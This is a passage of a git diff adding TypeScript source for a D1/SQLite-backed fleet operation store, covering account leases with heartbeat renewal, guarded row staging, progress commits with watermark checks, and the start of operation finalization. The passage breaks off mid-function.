+   * callback use `lease.releasePin`, because this wrapper would attempt a
+   * second acquisition of the same account lease and fail with the contention
+   * error.
+   */
+  releasePin(
+    input: Readonly<{ generation: number; pinnedBy: string }>,
+  ): Promise<void> {
+    return this.withAccountInventoryLease((lease) => lease.releasePin(input));
+  }
+
+  /**
+   * Acquires the account lease and prunes unpinned, non-latest generations. It
+   * is ONLY for callers that do not already hold the lease: inside a
+   * `withAccountInventoryLease` callback use
+   * `lease.pruneInventoryGenerations`, because this wrapper would attempt a
+   * second acquisition of the same account lease and fail with the contention
+   * error.
+   */
+  pruneInventoryGenerations(
+    input: Readonly<{ limit: number }>,
+  ): Promise<Readonly<{ deleted: number }>> {
+    return this.withAccountInventoryLease((lease) =>
+      lease.pruneInventoryGenerations(input),
+    );
+  }
+}
diff --git a/packages/fleet-control/src/d1-fleet-operation-store.ts b/packages/fleet-control/src/d1-fleet-operation-store.ts
new file mode 100644
index 00000000..0e58d75c
--- /dev/null
+++ b/packages/fleet-control/src/d1-fleet-operation-store.ts
@@ -0,0 +1,1350 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { randomUUID } from 'node:crypto';
+import {
+  driftFindingRowFromUnknown,
+  fleetAuditFactRowFromUnknown,
+  fleetAuditOperationRecordFromUnknown,
+  fleetAuditPinOwner,
+} from './fleet-audit-state.js';
+import type { FleetInventoryRunStore } from './fleet-inventory-state.js';
+import { fleetMigrationItemFromUnknown } from './fleet-migration-state.js';
+import {
+  canonicalFleetOperationBytes,
+  FLEET_OPERATION_KINDS,
+  FLEET_OPERATION_ROW_KINDS,
+  FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE,
+  FLEET_OPERATION_STAGE_BATCH_STATEMENTS,
+  type FleetOperationKind,
+  type FleetOperationLease,
+  type FleetOperationRowKind,
+  type FleetOperationRunRecord,
+  type FleetOperationStagedRow,
+  FleetOperationStateError,
+  type FleetOperationStore,
+  FleetOperationStoreCapabilityError,
+  fleetOperationOtherKindMessage,
+  fleetOperationPageLimit,
+  fleetOperationRunRecordFromUnknown,
+  fleetOperationSafeInteger,
+  fleetOperationSha256,
+  fleetOperationStagedRowFromUnknown,
+  fleetOperationWatermarkRunMessage,
+} from './fleet-operation-state.js';
+import type { FleetStateDatabase } from './state-store.js';
+
+const LEASE_TABLE = 'anchorage_fleet_operation_leases';
+const HEAD_TABLE = 'anchorage_fleet_operation_heads';
+const OPERATION_TABLE = 'anchorage_fleet_operations';
+const ROW_TABLE = 'anchorage_fleet_operation_rows';
+const LEASE_TTL_MS = 15 * 60_000;
+const LEASE_RENEWAL_INTERVAL_MS = 5 * 60_000;
+const DB_NOW_MS = "CAST(unixepoch('subsec') * 1000 AS INTEGER)";
+const LIMIT_MAX = 1_000;
+const KIND_CHECK = FLEET_OPERATION_KINDS.map((kind) => `'${kind}'`).join(',');
+const ROW_KIND_CHECK = FLEET_OPERATION_ROW_KINDS.map(
+  (kind) => `'${kind}'`,
+).join(',');
+const LEASE_EXISTS_SQL = `EXISTS (SELECT 1 FROM ${LEASE_TABLE}
+        WHERE account_id = ? AND operation_kind = ? AND owner_token = ?
+          AND expires_at > ${DB_NOW_MS})`;
+const OPERATION_GUARD_SQL = `FROM ${OPERATION_TABLE} r
+      WHERE r.account_id = ? AND r.operation_id = ?
+        AND r.operation_kind = ?
+        AND json_extract(r.op_record, '$.state') = 'running'
+        AND json_extract(r.op_record, '$.progress.revision') = ?
+        AND ${LEASE_EXISTS_SQL}`;
+// Exact restaging skips the insert. A different payload retains the
+// unique-key failure so the database rolls back sibling writes.
+const INSERT_STAGED_ROW_SQL = `WITH proposed(account_id, operation_id, row_kind, ordinal, payload)
+          AS (VALUES (?, ?, ?, ?, ?))
+        INSERT INTO ${ROW_TABLE} (
+          account_id, operation_id, row_kind, ordinal, payload
+        )
+        SELECT p.account_id, p.operation_id, p.row_kind, p.ordinal, p.payload
+        FROM proposed p
+        WHERE EXISTS (SELECT 1 ${OPERATION_GUARD_SQL})
+        AND NOT EXISTS (SELECT 1 FROM ${ROW_TABLE} staged
+          WHERE staged.account_id = p.account_id
+            AND staged.operation_id = p.operation_id
+            AND staged.row_kind = p.row_kind AND staged.ordinal = p.ordinal
+            AND staged.payload = p.payload)`;
+const ROWS_BELOW_ORDINAL_SQL = `FROM ${ROW_TABLE} w0
+          WHERE w0.account_id = ? AND w0.operation_id = ?
+            AND w0.row_kind = ? AND w0.ordinal < ?`;
+
+type Row = Readonly<Record<string, unknown>>;
+
+const EXPECTED_COLUMNS: Readonly<
+  Record<string, Readonly<Record<string, string>>>
+> = Object.freeze({
+  [LEASE_TABLE]: {
+    account_id: 'TEXT',
+    operation_kind: 'TEXT',
+    owner_token: 'TEXT',
+    expires_at: 'INTEGER',
+  },
+  [HEAD_TABLE]: {
+    account_id: 'TEXT',
+    operation_kind: 'TEXT',
+    active_operation_id: 'TEXT',
+  },
+  [OPERATION_TABLE]: {
+    account_id: 'TEXT',
+    operation_id: 'TEXT',
+    operation_kind: 'TEXT',
+    intake_digest: 'TEXT',
+    op_record: 'TEXT',
+    created_at_ms: 'INTEGER',
+    terminal_at_ms: 'INTEGER',
+  },
+  [ROW_TABLE]: {
+    account_id: 'TEXT',
+    operation_id: 'TEXT',
+    row_kind: 'TEXT',
+    ordinal: 'INTEGER',
+    payload: 'TEXT',
+  },
+});
+
+/** @inline */
+export interface D1FleetOperationStoreOptions {
+  readonly accountId: string;
+  readonly leaseTtlMs?: number;
+  readonly leaseRenewalIntervalMs?: number;
+  readonly inventoryStore?: FleetInventoryRunStore;
+}
+
+function rowString(row: Row | undefined, key: string): string {
+  const value = row?.[key];
+  if (typeof value !== 'string') {
+    throw new Error(`fleet operation row has invalid ${key}`);
+  }
+  return value;
+}
+
+function rowNumber(row: Row | undefined, key: string): number {
+  const value = Number(row?.[key]);
+  if (!Number.isSafeInteger(value)) {
+    throw new Error(`fleet operation row has invalid ${key}`);
+  }
+  return value;
+}
+
+function assertLimit(limit: number): void {
+  if (!Number.isSafeInteger(limit) || limit < 1 || limit > LIMIT_MAX) {
+    throw new Error(`limit must be an integer from 1 to ${LIMIT_MAX}`);
+  }
+}
+
+function assertPersistedKind(kind: FleetOperationKind): void {
+  if (!FLEET_OPERATION_KINDS.includes(kind)) {
+    throw new FleetOperationStateError();
+  }
+}
+
+function operationConflict(operationId: string): Error {
+  return new Error(
+    `fleet operation '${operationId}' is no longer at the expected revision`,
+  );
+}
+
+function operationDivergence(operationId: string): Error {
+  return new Error(
+    `fleet operation '${operationId}' staged rows diverge from the persisted operation`,
+  );
+}
+
+function finalizeMismatch(operationId: string): Error {
+  return new Error(
+    `fleet operation '${operationId}' does not match its finalize counts`,
+  );
+}
+
+function unknownOperation(operationId: string): Error {
+  return new Error(`no fleet operation '${operationId}'`);
+}
+
+function parseJson(value: string): unknown {
+  try {
+    return JSON.parse(value) as unknown;
+  } catch {
+    throw new FleetOperationStateError();
+  }
+}
+
+function stagedRowForKindFromUnknown(
+  kind: FleetOperationKind,
+  row: unknown,
+): FleetOperationStagedRow {
+  const parsed = fleetOperationStagedRowFromUnknown(row);
+  if (kind === 'audit') {
+    if (parsed.rowKind === 'item') throw new FleetOperationStateError();
+    return {
+      ...parsed,
+      payload:
+        parsed.rowKind === 'finding'
+          ? driftFindingRowFromUnknown(parsed.payload)
+          : parsed.rowKind === 'fact'
+            ? fleetAuditFactRowFromUnknown(parsed.payload)
+            : parsed.payload,
+    };
+  }
+  if (parsed.rowKind !== 'item') throw new FleetOperationStateError();
+  const payload = fleetMigrationItemFromUnknown(parsed.payload);
+  if (payload.ordinal !== parsed.ordinal) {
+    throw new FleetOperationStateError();
+  }
+  return {
+    ...parsed,
+    payload: { ...payload },
+  };
+}
+
+function serializedPayload(row: FleetOperationStagedRow): string {
+  return row.rowKind === 'record'
+    ? canonicalFleetOperationBytes(row.payload)
+    : JSON.stringify(row.payload);
+}
+
+// The pre-state prefix excludes this batch's inserts so sibling statements
+// cannot change one another's watermark precondition.
+function validateCommitWatermarks(
+  watermarks: readonly [FleetOperationRowKind, number][],
+  insertRows: readonly FleetOperationStagedRow[],
+  accountId: string,
+  operationId: string,
+): Readonly<{
+  rowStatement: readonly unknown[];
+  runUpdate: readonly unknown[];
+}> {
+  const rowStatement: unknown[] = [];
+  const runUpdate: unknown[] = [];
+  for (const [rowKind, watermark] of watermarks) {
+    const below = insertRows.filter(
+      (row) => row.rowKind === rowKind && row.ordinal < watermark,
+    );
+    const prefix = watermark - below.length;
+    if (below.some((row) => row.ordinal < prefix)) {
+      throw new Error(fleetOperationWatermarkRunMessage(rowKind));
+    }
+    rowStatement.push(accountId, operationId, rowKind, prefix, prefix);
+    runUpdate.push(accountId, operationId, rowKind, watermark, watermark);
+  }
+  return { rowStatement, runUpdate };
+}
+
+/** Provider-neutral D1 operation store over the fleet state database port. */
+export class D1FleetOperationStore implements FleetOperationStore {
+  readonly #db: FleetStateDatabase;
+  readonly #accountId: string;
+  readonly #leaseTtlMs: number;
+  readonly #leaseRenewalIntervalMs: number;
+  readonly #inventoryStore: FleetInventoryRunStore | undefined;
+  #schemaReady: Promise<void> | undefined;
+
+  constructor(db: FleetStateDatabase, options: D1FleetOperationStoreOptions) {
+    this.#db = db;
+    if (!options.accountId) throw new Error('accountId is required');
+    this.#accountId = options.accountId;
+    this.#leaseTtlMs = options.leaseTtlMs ?? LEASE_TTL_MS;
+    this.#leaseRenewalIntervalMs =
+      options.leaseRenewalIntervalMs ?? LEASE_RENEWAL_INTERVAL_MS;
+    this.#inventoryStore = options.inventoryStore;
+    if (!Number.isSafeInteger(this.#leaseTtlMs) || this.#leaseTtlMs < 1) {
+      throw new Error('leaseTtlMs must be a positive integer');
+    }
+    if (
+      !Number.isSafeInteger(this.#leaseRenewalIntervalMs) ||
+      this.#leaseRenewalIntervalMs < 1 ||
+      this.#leaseRenewalIntervalMs >= this.#leaseTtlMs
+    ) {
+      throw new Error(
+        'leaseRenewalIntervalMs must be a positive integer below leaseTtlMs',
+      );
+    }
+  }
+
+  async #ensureSchema(): Promise<void> {
+    const pending = this.#schemaReady ?? this.#initializeSchema();
+    this.#schemaReady = pending;
+    try {
+      await pending;
+    } catch (error) {
+      if (this.#schemaReady === pending) this.#schemaReady = undefined;
+      throw error;
+    }
+  }
+
+  async #initializeSchema(): Promise<void> {
+    await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${LEASE_TABLE} (
+      account_id TEXT NOT NULL,
+      operation_kind TEXT NOT NULL CHECK (operation_kind IN (${KIND_CHECK})),
+      owner_token TEXT NOT NULL,
+      expires_at INTEGER NOT NULL,
+      PRIMARY KEY (account_id, operation_kind)
+    )`);
+    await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${HEAD_TABLE} (
+      account_id TEXT NOT NULL,
+      operation_kind TEXT NOT NULL CHECK (operation_kind IN (${KIND_CHECK})),
+      active_operation_id TEXT,
+      PRIMARY KEY (account_id, operation_kind)
+    )`);
+    await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${OPERATION_TABLE} (
+      account_id TEXT NOT NULL,
+      operation_id TEXT NOT NULL,
+      operation_kind TEXT NOT NULL CHECK (operation_kind IN (${KIND_CHECK})),
+      intake_digest TEXT NOT NULL,
+      op_record TEXT NOT NULL,
+      created_at_ms INTEGER NOT NULL,
+      terminal_at_ms INTEGER,
+      PRIMARY KEY (account_id, operation_id)
+    )`);
+    await this.#db.execute(`CREATE TABLE IF NOT EXISTS ${ROW_TABLE} (
+      account_id TEXT NOT NULL,
+      operation_id TEXT NOT NULL,
+      row_kind TEXT NOT NULL CHECK (row_kind IN (${ROW_KIND_CHECK})),
+      ordinal INTEGER NOT NULL,
+      payload TEXT NOT NULL,
+      PRIMARY KEY (account_id, operation_id, row_kind, ordinal)
+    )`);
+    for (const [table, columns] of Object.entries(EXPECTED_COLUMNS)) {
+      const present = await this.#db.query(`PRAGMA table_info(${table})`);
+      for (const [name, type] of Object.entries(columns)) {
+        const column = present.find((candidate) => candidate.name === name);
+        if (!column || String(column.type).toUpperCase() !== type) {
+          throw new Error(
+            `fleet operation table '${table}' column '${name}' is absent or incompatible`,
+          );
+        }
+      }
+    }
+  }
+
+  #leaseBindings(kind: FleetOperationKind, token: string): readonly unknown[] {
+    return [this.#accountId, kind, token];
+  }
+
+  #contention(kind: FleetOperationKind): Error {
+    return new Error(
+      `fleet ${kind} operations for account '${this.#accountId}' are already being modified`,
+    );
+  }
+
+  #leaseLost(kind: FleetOperationKind): Error {
+    return new Error(
+      `fleet ${kind} operation lease for account '${this.#accountId}' is no longer owned by this operation`,
+    );
+  }
+
+  async withAccountOperationLease<T>(
+    kind: FleetOperationKind,
+    operation: (lease: FleetOperationLease) => Promise<T>,
+  ): Promise<T> {
+    // The wrapper keeps the internal lease owner token out of
+    // caller-supplied callbacks.
+    return this.#withAccountOperationLeaseInternal(kind, (lease) =>
+      operation(lease),
+    );
+  }
+
+  async #withAccountOperationLeaseInternal<T>(
+    kind: FleetOperationKind,
+    operation: (lease: FleetOperationLease, token: string) => Promise<T>,
+  ): Promise<T> {
+    if (!FLEET_OPERATION_KINDS.includes(kind)) {
+      throw new Error(
+        `kind must be one of ${FLEET_OPERATION_KINDS.join(', ')}`,
+      );
+    }
+    await this.#ensureSchema();
+    const token = randomUUID();
+    const claimed = await this.#db.query(
+      `INSERT INTO ${LEASE_TABLE} (
+        account_id, operation_kind, owner_token, expires_at
+      ) VALUES (?, ?, ?, ${DB_NOW_MS} + ?)
+      ON CONFLICT (account_id, operation_kind) DO UPDATE SET
+        owner_token = excluded.owner_token,
+        expires_at = excluded.expires_at
+      WHERE ${LEASE_TABLE}.expires_at <= ${DB_NOW_MS}
+      RETURNING owner_token, expires_at`,
+      [this.#accountId, kind, token, this.#leaseTtlMs],
+    );
+    if (claimed.length !== 1 || claimed[0]?.owner_token !== token) {
+      throw this.#contention(kind);
+    }
+    return this.#runRenewingLease({
+      kind,
+      token,
+      operation: (lease) => operation(lease, token),
+    });
+  }
+
+  async #runRenewingLease<T>(
+    input: Readonly<{
+      kind: FleetOperationKind;
+      token: string;
+      operation: (lease: FleetOperationLease) => Promise<T>;
+    }>,
+  ): Promise<T> {
+    const { kind, token, operation } = input;
+    const heartbeatAbort = new AbortController();
+    const renewalErrors: unknown[] = [];
+    const assertOwned = async () => {
+      const heartbeatError = renewalErrors[0];
+      if (heartbeatError !== undefined) {
+        throw new Error(`fleet ${kind} operation heartbeat failed`, {
+          cause: heartbeatError,
+        });
+      }
+      await this.#renewLease(kind, token);
+    };
+    const heartbeat = this.#renewUntilAborted(
+      () => this.#renewLease(kind, token),
+      heartbeatAbort.signal,
+    ).catch((error: unknown) => renewalErrors.push(error));
+    const lease: FleetOperationLease = {
+      assertOwned,
+      startOperation: (value) => this.#startOperation(kind, token, value),
+      readOperation: (operationId) => this.readOperationById(operationId),
+      stageRows: (value) => this.#stageRows(kind, token, value),
+      commitProgress: (value) => this.#commitProgress(kind, token, value),
+      finalizeOperation: (value) => this.#finalizeOperation(kind, token, value),
+      failOperation: (value) => this.#failOperation(kind, token, value),
+    };
+
+    let operationFailed = false;
+    let operationError: unknown;
+    let outcome: { readonly value: T } | undefined;
+    try {
+      outcome = { value: await operation(lease) };
+    } catch (error) {
+      operationFailed = true;
+      operationError = error;
+    }
+    heartbeatAbort.abort();
+    await heartbeat;
+    if (!operationFailed && renewalErrors.length === 0) {
+      try {
+        await assertOwned();
+      } catch (error) {
+        renewalErrors.push(error);
+      }
+    }
+    let releaseFailed = false;
+    let releaseError: unknown;
+    try {
+      const released = await this.#db.query(
+        `DELETE FROM ${LEASE_TABLE}
+          WHERE account_id = ? AND operation_kind = ? AND owner_token = ?
+          RETURNING owner_token`,
+        [this.#accountId, kind, token],
+      );
+      if (released.length !== 1 || released[0]?.owner_token !== token) {
+        throw this.#leaseLost(kind);
+      }
+    } catch (error) {
+      releaseFailed = true;
+      releaseError = error;
+    }
+    const errors: unknown[] = [];
+    if (operationFailed) errors.push(operationError);
+    errors.push(...renewalErrors);
+    if (releaseFailed) errors.push(releaseError);
+    if (errors.length === 1) throw errors[0];
+    // An operation that fails beside a lease renewal or release failure
+    // reaches the caller inside the aggregate, first in `errors`: a caller
+    // that reads only `message` sees the cleanup summary, and the reason the
+    // operation itself raised is in `AggregateError.errors[0]`.
+    if (errors.length > 1) {
+      throw new AggregateError(
+        errors,
+        `fleet ${kind} operation and lease cleanup failed`,
+      );
+    }
+    if (!outcome) throw new Error(`fleet ${kind} operation had no outcome`);
+    return outcome.value;
+  }
+
+  async #renewUntilAborted(
+    renew: () => Promise<void>,
+    signal: AbortSignal,
+  ): Promise<void> {
+    while (await this.#waitForRenewal(signal)) await renew();
+  }
+
+  #waitForRenewal(signal: AbortSignal): Promise<boolean> {
+    if (signal.aborted) return Promise.resolve(false);
+    return new Promise((resolve) => {
+      const timeout = setTimeout(
+        () => finish(true),
+        this.#leaseRenewalIntervalMs,
+      );
+      const aborted = () => finish(false);
+      const finish = (renew: boolean) => {
+        clearTimeout(timeout);
+        signal.removeEventListener('abort', aborted);
+        resolve(renew);
+      };
+      signal.addEventListener('abort', aborted, { once: true });
+    });
+  }
+
+  async #renewLease(kind: FleetOperationKind, token: string): Promise<void> {
+    const renewed = await this.#db.query(
+      `UPDATE ${LEASE_TABLE}
+        SET expires_at = ${DB_NOW_MS} + ?
+        WHERE account_id = ? AND operation_kind = ? AND owner_token = ?
+          AND expires_at > ${DB_NOW_MS}
+        RETURNING owner_token, expires_at`,
+      [this.#leaseTtlMs, this.#accountId, kind, token],
+    );
+    if (renewed.length !== 1 || renewed[0]?.owner_token !== token) {
+      throw this.#leaseLost(kind);
+    }
+  }
+
+  async #startOperation(
+    leaseKind: FleetOperationKind,
+    token: string,
+    input: Parameters<FleetOperationLease['startOperation']>[0],
+  ): ReturnType<FleetOperationLease['startOperation']> {
+    const { operationId, kind, intakeDigest } = input;
+    const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord);
+    if (
+      kind !== leaseKind ||
+      runRecord.operationId !== operationId ||
+      runRecord.kind !== kind ||
+      runRecord.state !== 'running' ||
+      runRecord.progress.revision !== 0 ||
+      !fleetOperationSha256(intakeDigest)
+    ) {
+      throw new FleetOperationStateError();
+    }
+    const result = await this.#db.batch([
+      {
+        sql: `INSERT INTO ${HEAD_TABLE} (
+          account_id, operation_kind, active_operation_id
+        ) VALUES (?, ?, NULL)
+        ON CONFLICT (account_id, operation_kind) DO NOTHING`,
+        bindings: [this.#accountId, kind],
+      },
+      {
+        sql: `UPDATE ${HEAD_TABLE}
+          SET active_operation_id = ?
+          WHERE account_id = ? AND operation_kind = ?
+            AND (active_operation_id = ?
+              OR (active_operation_id IS NULL
+                AND NOT EXISTS (SELECT 1 FROM ${OPERATION_TABLE}
+                  WHERE account_id = ? AND operation_id = ?)))
+            AND ${LEASE_EXISTS_SQL}
+          RETURNING active_operation_id`,
+        bindings: [
+          operationId,
+          this.#accountId,
+          kind,
+          operationId,
+          this.#accountId,
+          operationId,
+          ...this.#leaseBindings(kind, token),
+        ],
+      },
+      {
+        sql: `INSERT INTO ${OPERATION_TABLE} (
+          account_id, operation_id, operation_kind, intake_digest,
+          op_record, created_at_ms, terminal_at_ms
+        )
+        SELECT ?, ?, ?, ?, ?, ${DB_NOW_MS}, NULL
+          FROM ${HEAD_TABLE}
+          WHERE account_id = ? AND operation_kind = ?
+            AND active_operation_id = ?
+        ON CONFLICT (account_id, operation_id) DO NOTHING
+        RETURNING operation_id`,
+        bindings: [
+          this.#accountId,
+          operationId,
+          kind,
+          intakeDigest,
+          JSON.stringify(runRecord),
+          this.#accountId,
+          kind,
+          operationId,
+        ],
+      },
+    ]);
+    const persisted = await this.#operationRow(operationId);
+    if (!persisted) {
+      throw new Error(
+        `another fleet ${kind} operation is active for this account`,
+      );
+    }
+    if (rowString(persisted, 'operation_kind') !== kind) {
+      throw new Error(fleetOperationOtherKindMessage(operationId));
+    }
+    if (rowString(persisted, 'intake_digest') !== intakeDigest) {
+      throw new Error(
+        `fleet operation '${operationId}' already exists with a different intake`,
+      );
+    }
+    const record = fleetOperationRunRecordFromUnknown(
+      parseJson(rowString(persisted, 'op_record')),
+    );
+    const created = (result.at(-1) ?? []).some(
+      (row) => row.operation_id === operationId,
+    );
+    return {
+      outcome: created
+        ? 'created'
+        : record.state === 'running'
+          ? 'adopted-running'
+          : 'adopted-terminal',
+      record,
+    };
+  }
+
+  async #operationRow(operationId: string): Promise<Row | undefined> {
+    const rows = await this.#db.query(
+      `SELECT operation_kind, intake_digest, op_record, terminal_at_ms
+        FROM ${OPERATION_TABLE}
+        WHERE account_id = ? AND operation_id = ?`,
+      [this.#accountId, operationId],
+    );
+    return rows[0];
+  }
+
+  async readOperationById(
+    operationId: string,
+  ): Promise<FleetOperationRunRecord | undefined> {
+    await this.#ensureSchema();
+    const row = await this.#operationRow(operationId);
+    return row
+      ? fleetOperationRunRecordFromUnknown(
+          parseJson(rowString(row, 'op_record')),
+        )
+      : undefined;
+  }
+
+  #operationGuardBindings(
+    kind: FleetOperationKind,
+    token: string,
+    operationId: string,
+    expectedRevision: number,
+  ): readonly unknown[] {
+    return [
+      this.#accountId,
+      operationId,
+      kind,
+      expectedRevision,
+      ...this.#leaseBindings(kind, token),
+    ];
+  }
+
+  async #stageRows(
+    kind: FleetOperationKind,
+    token: string,
+    input: Parameters<FleetOperationLease['stageRows']>[0],
+  ): Promise<void> {
+    const { operationId, expectedRevision } = input;
+    if (!fleetOperationSafeInteger(expectedRevision)) {
+      throw new FleetOperationStateError();
+    }
+    const rows = input.rows.map((row) =>
+      stagedRowForKindFromUnknown(kind, row),
+    );
+    for (
+      let offset = 0;
+      offset < rows.length;
+      offset += FLEET_OPERATION_STAGE_BATCH_STATEMENTS
+    ) {
+      const batch = rows.slice(
+        offset,
+        offset + FLEET_OPERATION_STAGE_BATCH_STATEMENTS,
+      );
+      await this.#db.batch(
+        batch.map((row) => ({
+          sql: `${INSERT_STAGED_ROW_SQL} RETURNING row_kind, ordinal`,
+          bindings: [
+            this.#accountId,
+            operationId,
+            row.rowKind,
+            row.ordinal,
+            serializedPayload(row),
+            ...this.#operationGuardBindings(
+              kind,
+              token,
+              operationId,
+              expectedRevision,
+            ),
+          ],
+        })),
+      );
+    }
+  }
+
+  async #commitProgress(
+    kind: FleetOperationKind,
+    token: string,
+    input: Parameters<FleetOperationLease['commitProgress']>[0],
+  ): ReturnType<FleetOperationLease['commitProgress']> {
+    const { operationId, expectedRevision } = input;
+    const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord);
+    const rows = (input.rows ?? []).map((row) =>
+      stagedRowForKindFromUnknown(kind, row),
+    );
+    const updateRows = (input.updateRows ?? []).map((row) =>
+      stagedRowForKindFromUnknown(kind, row),
+    );
+    if (updateRows.some((row) => row.rowKind !== 'item')) {
+      throw new FleetOperationStateError();
+    }
+    const mutationKeys = [...rows, ...updateRows].map(
+      (row) => `${row.rowKind}:${row.ordinal}`,
+    );
+    if (new Set(mutationKeys).size !== mutationKeys.length) {
+      throw new FleetOperationStateError();
+    }
+    if (
+      rows.length + updateRows.length + 1 >
+      FLEET_OPERATION_STAGE_BATCH_STATEMENTS
+    ) {
+      throw new Error(
+        `commitProgress exceeds the operation batch budget of ${FLEET_OPERATION_STAGE_BATCH_STATEMENTS} statements`,
+      );
+    }
+    if (
+      runRecord.operationId !== operationId ||
+      runRecord.kind !== kind ||
+      runRecord.state !== 'running' ||
+      !fleetOperationSafeInteger(expectedRevision) ||
+      runRecord.progress.revision !== expectedRevision + 1
+    ) {
+      throw operationConflict(operationId);
+    }
+    const watermarks = Object.entries(input.expectedRowWatermarks ?? {}) as [
+      FleetOperationRowKind,
+      number,
+    ][];
+    for (const [rowKind, watermark] of watermarks) {
+      if (
+        !FLEET_OPERATION_ROW_KINDS.includes(rowKind) ||
+        !fleetOperationSafeInteger(watermark)
+      ) {
+        throw new FleetOperationStateError();
+      }
+    }
+    const watermarkBindings = validateCommitWatermarks(
+      watermarks,
+      rows,
+      this.#accountId,
+      operationId,
+    );
+    const payloads = [...rows, ...updateRows].map((row) => ({
+      row,
+      bytes: serializedPayload(row),
+    }));
+    const insertPayloads = payloads.slice(0, rows.length);
+    const updatePayloads = payloads.slice(rows.length);
+    const guardBindings = this.#operationGuardBindings(
+      kind,
+      token,
+      operationId,
+      expectedRevision,
+    );
+    const watermarkSql = watermarks
+      .map(() => `AND (SELECT COUNT(*) ${ROWS_BELOW_ORDINAL_SQL}) = ?`)
+      .join('\n');
+    // Insert and update keys are disjoint, so this batch cannot create a
+    // missing update target after a sibling statement has refused it.
+    const updateTargetsSql = updateRows.length
+      ? `AND NOT EXISTS (
+          SELECT 1 FROM json_each(?) required
+          WHERE NOT EXISTS (SELECT 1 FROM ${ROW_TABLE} target
+            WHERE target.account_id = ? AND target.operation_id = ?
+              AND target.row_kind = 'item' AND target.ordinal = required.value)
+        )`
+      : '';
+    const updateTargetBindings = updateRows.length
+      ? [
+          JSON.stringify(updateRows.map((row) => row.ordinal)),
+          this.#accountId,
+          operationId,
+        ]
+      : [];
+    const result = await this.#db.batch([
+      ...insertPayloads.map(({ row, bytes }) => ({
+        sql: `${INSERT_STAGED_ROW_SQL}
+          ${watermarkSql}
+          ${updateTargetsSql}
+          RETURNING row_kind, ordinal`,
+        bindings: [
+          this.#accountId,
+          operationId,
+          row.rowKind,
+          row.ordinal,
+          bytes,
+          ...guardBindings,
+          ...watermarkBindings.rowStatement,
+          ...updateTargetBindings,
+        ],
+      })),
+      ...updatePayloads.map(({ row, bytes }) => ({
+        sql: `UPDATE ${ROW_TABLE}
+          SET payload = ?
+          WHERE account_id = ? AND operation_id = ?
+            AND row_kind = ? AND ordinal = ?
+            AND EXISTS (SELECT 1 ${OPERATION_GUARD_SQL})
+            ${watermarkSql}
+            ${updateTargetsSql}
+          RETURNING row_kind, ordinal`,
+        bindings: [
+          bytes,
+          this.#accountId,
+          operationId,
+          row.rowKind,
+          row.ordinal,
+          ...guardBindings,
+          ...watermarkBindings.rowStatement,
+          ...updateTargetBindings,
+        ],
+      })),
+      {
+        sql: `UPDATE ${OPERATION_TABLE}
+          SET op_record = ?
+          WHERE account_id = ? AND operation_id = ?
+            AND operation_kind = ?
+            AND json_extract(op_record, '$.state') = 'running'
+            AND json_extract(op_record, '$.progress.revision') = ?
+            AND ${LEASE_EXISTS_SQL}
+            ${watermarkSql}
+            ${updateTargetsSql}
+          RETURNING operation_id`,
+        bindings: [
+          JSON.stringify(runRecord),
+          this.#accountId,
+          operationId,
+          kind,
+          expectedRevision,
+          ...this.#leaseBindings(kind, token),
+          ...watermarkBindings.runUpdate,
+          ...updateTargetBindings,
+        ],
+      },
+    ]);
+    const written = result.at(-1) ?? [];
+    // The accepted path returns the intended record rather than a reread of
+    // it: this batch wrote those exact bytes under the revision guard. The
+    // converged path returns the persisted record instead, because there the
+    // bytes came from another writer and only the decode establishes them.
+    if (written.length === 1 && written[0]?.operation_id === operationId) {
+      return runRecord;
+    }
+    return this.#commitConverged(operationId, runRecord, payloads, watermarks);
+  }
+
+  async #commitConverged(
+    operationId: string,
+    intended: FleetOperationRunRecord,
+    payloads: readonly Readonly<{
+      row: FleetOperationStagedRow;
+      bytes: string;
+    }>[],
+    watermarks: readonly [FleetOperationRowKind, number][],
+  ): Promise<FleetOperationRunRecord> {
+    // Reading the operation first fixes the record the row reads below are
+    // interpreted against, at the cost of staleness in the record returned: a
+    // concurrent abandon during those reads leaves this record reporting
+    // `running` for an operation already durably `failed`. The next call
+    // reads that state and refuses.
+    const persisted = await this.readOperationById(operationId);
+    if (!persisted) throw unknownOperation(operationId);
+    for (const [rowKind, watermark] of watermarks) {
+      const stored = await this.#db.query(
+        `SELECT COUNT(*) AS count ${ROWS_BELOW_ORDINAL_SQL}`,
+        [this.#accountId, operationId, rowKind, watermark],
+      );
+      if (rowNumber(stored[0], 'count') !== watermark) {
+        throw operationConflict(operationId);
+      }
+    }
+    // Progress uses plain JSON equality; coordinators must build it in stable
+    // key order so a byte-identical replay can converge.
+    if (JSON.stringify(persisted) !== JSON.stringify(intended)) {
+      throw operationConflict(operationId);
+    }
+    let complete = true;
+    for (const { row, bytes } of payloads) {
+      const stored = await this.#db.query(
+        `SELECT payload FROM ${ROW_TABLE}
+          WHERE account_id = ? AND operation_id = ?
+            AND row_kind = ? AND ordinal = ?`,
+        [this.#accountId, operationId, row.rowKind, row.ordinal],
+      );
+      // An opportunistic cross-check against a fault, not a defence: a writer
+      // able to change this row can change the operation record beside it and
+      // pass both comparisons.
+      if (!stored[0]) complete = false;
+      else if (rowString(stored[0], 'payload') !== bytes) {
+        throw operationDivergence(operationId);
+      }
+    }
+    if (!complete) throw operationConflict(operationId);
+    return persisted;
+  }
+
+  async #finalizeOperation(
+    kind: FleetOperationKind,
+    token: string,
+    input: Parameters<FleetOperationLease['finalizeOperation']>[0],
+  ): ReturnType<FleetOperationLease['finalizeOperation']> {
+    const { operationId, expectedRevision } = input;
+    const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord);
+    if (
+      runRecord.operationId !== operationId ||
+      runRecord.kind !== kind ||
+      runRecord.state !== 'finalized' ||
+      !fleetOperationSafeInteger(expectedRevision) ||
+      runRecord.progress.revision !== expectedRevision + 1
+    ) {
+      throw operationConflict(operationId);
+    }
+    const counts = Object.entries(input.expectedRowCounts) as [
+      FleetOperationRowKind,
+      number,
+    ][];
+    for (const [rowKind, count] of counts) {
+      if (
+        !FLEET_OPERATION_ROW_KINDS.includes(rowKind) ||
+        !fleetOperationSafeInteger(count)
+      ) {
+        throw new FleetOperationStateError();
+      }
+    }
+    const countSql = counts
+      .map(
